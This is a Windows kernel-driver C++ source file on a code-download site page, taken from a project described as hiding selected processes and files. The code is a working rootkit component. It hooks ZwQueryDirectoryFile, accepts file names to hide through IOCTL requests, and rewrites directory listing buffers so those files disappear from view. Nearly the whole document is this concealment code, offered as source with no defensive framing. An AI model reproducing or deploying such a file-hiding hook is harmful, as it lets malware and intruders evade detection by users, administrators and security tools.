⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookfile.cpp

📁 The main idea of this work is to create a driver for hiding selected processes and files.
💻 CPP
字号:
#include "HookFile.h"
/////////////////////////////////////////////////////////////////////////////////////////
extern "C"
{
	/*Pointer to NtQueryDirectoryFile function*/
	NtQueryDirFile TrueNtQueryDirectoryFile;
	/*NewNtQueryDirectoryFile: hooking version of NtQueryDirectoryFile function*/
	NTSTATUS NewNtQueryDirectoryFile(
		IN HANDLE FileHandle,
		IN HANDLE Event OPTIONAL,
		IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
		IN PVOID ApcContext OPTIONAL,
		OUT PIO_STATUS_BLOCK IoStatusBlock,
		OUT PVOID FileInformation,
		IN ULONG FileInformationLength,
		IN FILE_INFORMATION_CLASS FileInformationClass,
		IN BOOLEAN ReturnSingleEntry,
		IN PUNICODE_STRING FileName OPTIONAL,
		IN BOOLEAN RestartScan
		);
	/*defined in main.cpp*/
	NTSTATUS CompleteIrp( PIRP Irp, NTSTATUS status, ULONG info);
};

// Synchronization object
static wrSync sFileWRSync;

// Files to hide
// First - File Path, Second - File Name
typedef std::vector<std::pair<UNICODE_STRING,UNICODE_STRING> > FileNames;
static FileNames sFileNames;

/////////////////////////////////////////////////////////////////////////////////////////



NTSTATUS AddFileName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Add File Name - Input string: %ws\n",pBuf);


	UNICODE_STRING FileName;
	UNICODE_STRING FilePath;


	WCHAR* pBufFilePath = new WCHAR[buf_size/2];
	memcpy(pBufFilePath,pBuf,buf_size);

	RtlInitUnicodeString(&FilePath,pBufFilePath);
	RtlInitUnicodeString(&FileName,NULL);
	// Get file name

	for(int i=FilePath.Length;i>=0;--i)
	{
		if(FilePath.Buffer[i] == L'\\')
		{
			i++;
			size_t NameSize = FilePath.Length - i;
			WCHAR* pBuf_temp_name = new WCHAR[NameSize/2+1];
	
			memcpy(pBuf_temp_name,pBuf+i,NameSize);
			RtlInitUnicodeString(&FileName,pBuf_temp_name);

			break;
		}
	}
	DbgPrint("FILE NAME: %ws\n",FileName.Buffer);
		
	// ..
	sFileWRSync.WaitToWrite();

	sFileNames.push_back(std::make_pair(FilePath,FileName));	

	sFileWRSync.Done();

	*pBuf= HOOK_SUCCESS; 
	*BytesTxd = 1;

	return STATUS_SUCCESS;
}
NTSTATUS DelFileName(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:

	

Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Del File Name - Input string: %ws\n",pBuf);


	UNICODE_STRING myUStr;
	RtlInitUnicodeString(&myUStr,pBuf);

	sFileWRSync.WaitToWrite();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		if(RtlCompareUnicodeString(&myUStr,&( (*it).first ),FALSE) == 0)
		{			
			// Cleanup buffer
			delete[] (*it).first.Buffer;
			delete[] (*it).second.Buffer;
			// Delete from array
			sFileNames.erase(it);

			sFileWRSync.Done();

			*pBuf= HOOK_SUCCESS;
			*BytesTxd = 1;

			return STATUS_SUCCESS;
		}
		++it;
	}

	sFileWRSync.Done();

	return STATUS_INVALID_DEVICE_REQUEST;
}
NTSTATUS ClearFileNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Clear File Names\n");


	sFileWRSync.WaitToWrite();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		delete[] (*it).first.Buffer;
		delete[] (*it).second.Buffer;
		++it;
	}
	sFileNames.clear();

	sFileWRSync.Done();	

	*pBuf = HOOK_SUCCESS;
	*BytesTxd = 1;

	return STATUS_SUCCESS;
}
NTSTATUS QueryFileNames(WCHAR* pBuf,ULONG buf_size,ULONG out_buf_size,PULONG BytesTxd)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	DbgPrint("-HideDriver- Query File Names\n");
	sFileWRSync.WaitToRead();
	ULONG nIndex=0;

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		size_t str_size = (*it).first.Length;

		if((str_size + nIndex) > out_buf_size)
		{
			sFileWRSync.Done();
			return STATUS_INVALID_PARAMETER;
		}			

		memcpy((char*)pBuf + nIndex,(*it).first.Buffer,str_size);
		nIndex+=str_size;

		memcpy((char*)pBuf + nIndex,L"\n",2);
		nIndex+=2;

		++it;
	}
	sFileWRSync.Done();

	memcpy((char*)pBuf + nIndex,L"\0",2);
	nIndex+=2;

	*BytesTxd = nIndex;

	return STATUS_SUCCESS;
}

NTSTATUS HookFileIrpRoutine(PIRP pIrp)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	NTSTATUS status = STATUS_SUCCESS;
	ULONG BytesTxd =0; // Number of transmitted,received bytes
	PIO_STACK_LOCATION IrpStack=IoGetCurrentIrpStackLocation(pIrp);

	// Getting the IOCTL code
	ULONG ControlCode =
		IrpStack->Parameters.DeviceIoControl.IoControlCode;
	// Getting the exchange method
	//selection of the first two bits
	ULONG method = ControlCode & 0x03;

	if(method!=METHOD_BUFFERED)
		return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd); 

	ULONG InputLength = 
		IrpStack->Parameters.DeviceIoControl.InputBufferLength;

	ULONG OutputLength =
		IrpStack->Parameters.DeviceIoControl.OutputBufferLength;

	if( OutputLength < 1 || InputLength < 1)
		return CompleteIrp(pIrp,STATUS_INVALID_PARAMETER,BytesTxd);

	WCHAR *buff;
	buff = (PWCHAR)pIrp->AssociatedIrp.SystemBuffer;

	switch( ControlCode) 
	{
	case IOCTL_ADD_FILE_NAME:
		status = AddFileName(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_DEL_FILE_NAME:
		status = DelFileName(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_CLEAR_FILE_NAME:
		status = ClearFileNames(buff,InputLength,OutputLength,&BytesTxd); break;
	case IOCTL_QUERY_FILE_NAME:
		status = QueryFileNames(buff,InputLength,OutputLength,&BytesTxd); break;
	default:	
		status = STATUS_INVALID_DEVICE_REQUEST;
	}
	return CompleteIrp(pIrp,status,BytesTxd); 
}
void HookFileInit(HookMng& refHookMng,QueryMng& refQueryMng)
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	UNICODE_STRING funcUnicodeStr_file;
	RtlInitUnicodeString(&funcUnicodeStr_file,L"ZwQueryDirectoryFile");	

	std::auto_ptr<Hook> pNewHook(
		CreateHook(	NewNtQueryDirectoryFile,
					&funcUnicodeStr_file));
	
	TrueNtQueryDirectoryFile = (NtQueryDirFile)pNewHook->mpTrueFuncPtr;


	if(!refHookMng.QueueHook(*pNewHook))
		DbgPrint("Hook installing error2\n");

	
	// Irp processing routines

	refQueryMng.AddRoutine(IOCTL_ADD_FILE_NAME,&HookFileIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_DEL_FILE_NAME,&HookFileIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_CLEAR_FILE_NAME,&HookFileIrpRoutine);
	refQueryMng.AddRoutine(IOCTL_QUERY_FILE_NAME,&HookFileIrpRoutine);
}

void HookFileExit()
/*++

Routine Description:



Arguments:



Return Value:



--*/
{
	sFileWRSync.WaitToWrite();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		delete[] (*it).first.Buffer;
		delete[] (*it).second.Buffer;
		++it;
	}
	sFileNames.clear();

	sFileWRSync.Done();	
}
bool CheckFileName(UNICODE_STRING* pFileName)
/*++

Routine Description:

	Checks if file should be hided by file name

Arguments:



Return Value:



--*/
{
	sFileWRSync.WaitToRead();

	FileNames::iterator it = sFileNames.begin();
	while(sFileNames.end() != it)
	{
		if(RtlCompareUnicodeString(&( (*it).second ),pFileName,FALSE) == 0)
		{
			sFileWRSync.Done();
			return true;
		}
		++it;
	}

	sFileWRSync.Done();
	return false;
}
bool CheckFilePath(HANDLE FileHandle,UNICODE_STRING* pFileName)
/*++

Routine Description:

	Checks if file should be hided by file path

Arguments:



Return Value:



--*/
{
	UNICODE_STRING pDevName;
	PFILE_OBJECT file_obj; 
	PDEVICE_OBJECT dev_obj;
	NTSTATUS ret_status;

	ret_status=ObReferenceObjectByHandle(FileHandle,FILE_ALL_ACCESS,*IoFileObjectType,
		KernelMode,(PVOID*)(&file_obj),NULL);

	dev_obj = file_obj->DeviceObject;

	RtlVolumeDeviceToDosName(dev_obj,&pDevName);

	ObDereferenceObject(file_obj);

	//DbgPrint("%ws%ws%ws\n",pDevName.Buffer,file_obj->FileName.Buffer,pFileName->Buffer);

	return true;
}
template<class T>
NTSTATUS HideFile(HANDLE FileHandle,PVOID FileInformation)
/*++

Routine Description:

	Hides selected files

Arguments:



Return Value:



--*/
{
	ULONG PreviousDelta=0;
	UNICODE_STRING UnicodeFileName;
	RtlInitUnicodeString(&UnicodeFileName,NULL); 

	T pFileInfo=reinterpret_cast<T>(FileInformation);

	// The loop for finding and remounting files,which should be hided, from the array
	bool pass_me_once=true;
	while( (pFileInfo->NextEntryOffset != 0) || pass_me_once)
	{
		if(pass_me_once)
			pass_me_once=false;
		else
		{
			// move to the next file in the array
			PreviousDelta = pFileInfo->NextEntryOffset;
			pFileInfo = (T)(((PUCHAR)pFileInfo)+pFileInfo->NextEntryOffset);
		}
		
		UnicodeFileName.Buffer = pFileInfo->FileName;
		UnicodeFileName.Length = pFileInfo->FileNameLength;

		
		// check file name
		if( !CheckFileName(&UnicodeFileName) ) 
			continue;	
		// check file full path
		if( !CheckFilePath(FileHandle,&UnicodeFileName) )
			continue;
		DbgPrint("%ws\n",pFileInfo->FileName);
		// if the file is first
		if(PreviousDelta == 0) 
		{
			// if there are no any file
			if( pFileInfo->NextEntryOffset == 0 )
				return STATUS_SUCCESS;
				//return STATUS_NO_MORE_FILES;

			//if other files exist, erasing current file 
			//by moving the remain array`s elements to the beginning
			ULONG shift = pFileInfo->NextEntryOffset;
	
			//Calculate the buffer size
			ULONG totalSize=0;
			T ptempFileInfo=(T)pFileInfo;
			while(ptempFileInfo->NextEntryOffset != 0)
			{
				// calculate size
				totalSize+=ptempFileInfo->NextEntryOffset;
				// shift to the next file in the array
				ptempFileInfo = (T)(((PUCHAR)ptempFileInfo)+ptempFileInfo->NextEntryOffset);
			}

			// subtract the size of the first element in the array
			size_t MoveSize = (size_t)(totalSize-shift);
			// add the size of the last element
			MoveSize += sizeof(*ptempFileInfo);
			// add the Filename`s length of the last element
			MoveSize += ptempFileInfo->FileNameLength;
			//we already have definition WCHAR FileName[1](2 bytes)
			//so we need delete it from general sum
			MoveSize -= 2;
			// shift array to one element
			memcpy((PVOID)pFileInfo,(PUCHAR)pFileInfo+(size_t)(shift),MoveSize);

			//start the loop from the beginning
			pass_me_once=true;
			PreviousDelta = 0;

			continue;
		}
		// if the file isn`t the first,
		// save the current offset
 		ULONG curentDelta=pFileInfo->NextEntryOffset;
		// go to one file back
		pFileInfo = (T)(((PUCHAR)pFileInfo)-PreviousDelta);

		// if the file is the last
		if(curentDelta == 0 ) 
		{
			// set the offset in 0
			// as the last file in array
			pFileInfo->NextEntryOffset = 0;
			break;
		}
		//if the file isn`t the last, hide file and set additional offset
		pFileInfo->NextEntryOffset = PreviousDelta + curentDelta;

	}//while(pFileInfo->NextEntryDelta != 0)
	return STATUS_SUCCESS;
}
NTSTATUS NewNtQueryDirectoryFile(
								 IN HANDLE FileHandle,
								 IN HANDLE Event OPTIONAL,
								 IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
								 IN PVOID ApcContext OPTIONAL,
								 OUT PIO_STATUS_BLOCK IoStatusBlock,
								 OUT PVOID FileInformation,	
								 IN ULONG FileInformationLength,
								 IN FILE_INFORMATION_CLASS FileInformationClass,
								 IN BOOLEAN ReturnSingleEntry,
								 IN PUNICODE_STRING FileName OPTIONAL,
								 IN BOOLEAN RestartScan
								 )
/*++

Routine Description:

	

Arguments:



Return Value:



--*/
{
	NTSTATUS status=TrueNtQueryDirectoryFile(FileHandle,Event,ApcRoutine,ApcContext,IoStatusBlock,
		FileInformation,FileInformationLength,FileInformationClass,ReturnSingleEntry, FileName , RestartScan);
	if(!NT_SUCCESS(status))return status;

	switch(FileInformationClass)
	{
	case FileDirectoryInformation:
		return HideFile<PFILE_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
	case FileFullDirectoryInformation:
		return HideFile<PFILE_FULL_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
	case FileBothDirectoryInformation:		
		return HideFile<PFILE_BOTH_DIRECTORY_INFORMATION>(FileHandle,FileInformation);
	case FileNamesInformation:
		return HideFile<PFILE_NAMES_INFORMATION>(FileHandle,FileInformation);
	case FileIdBothDirectoryInformation:
		return HideFile<PFILE_ID_BOTH_DIR_INFORMATION>(FileHandle,FileInformation);
	case FileIdFullDirectoryInformation:
		return HideFile<PFILE_ID_FULL_DIR_INFORMATION>(FileHandle,FileInformation);
	default:return status;
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -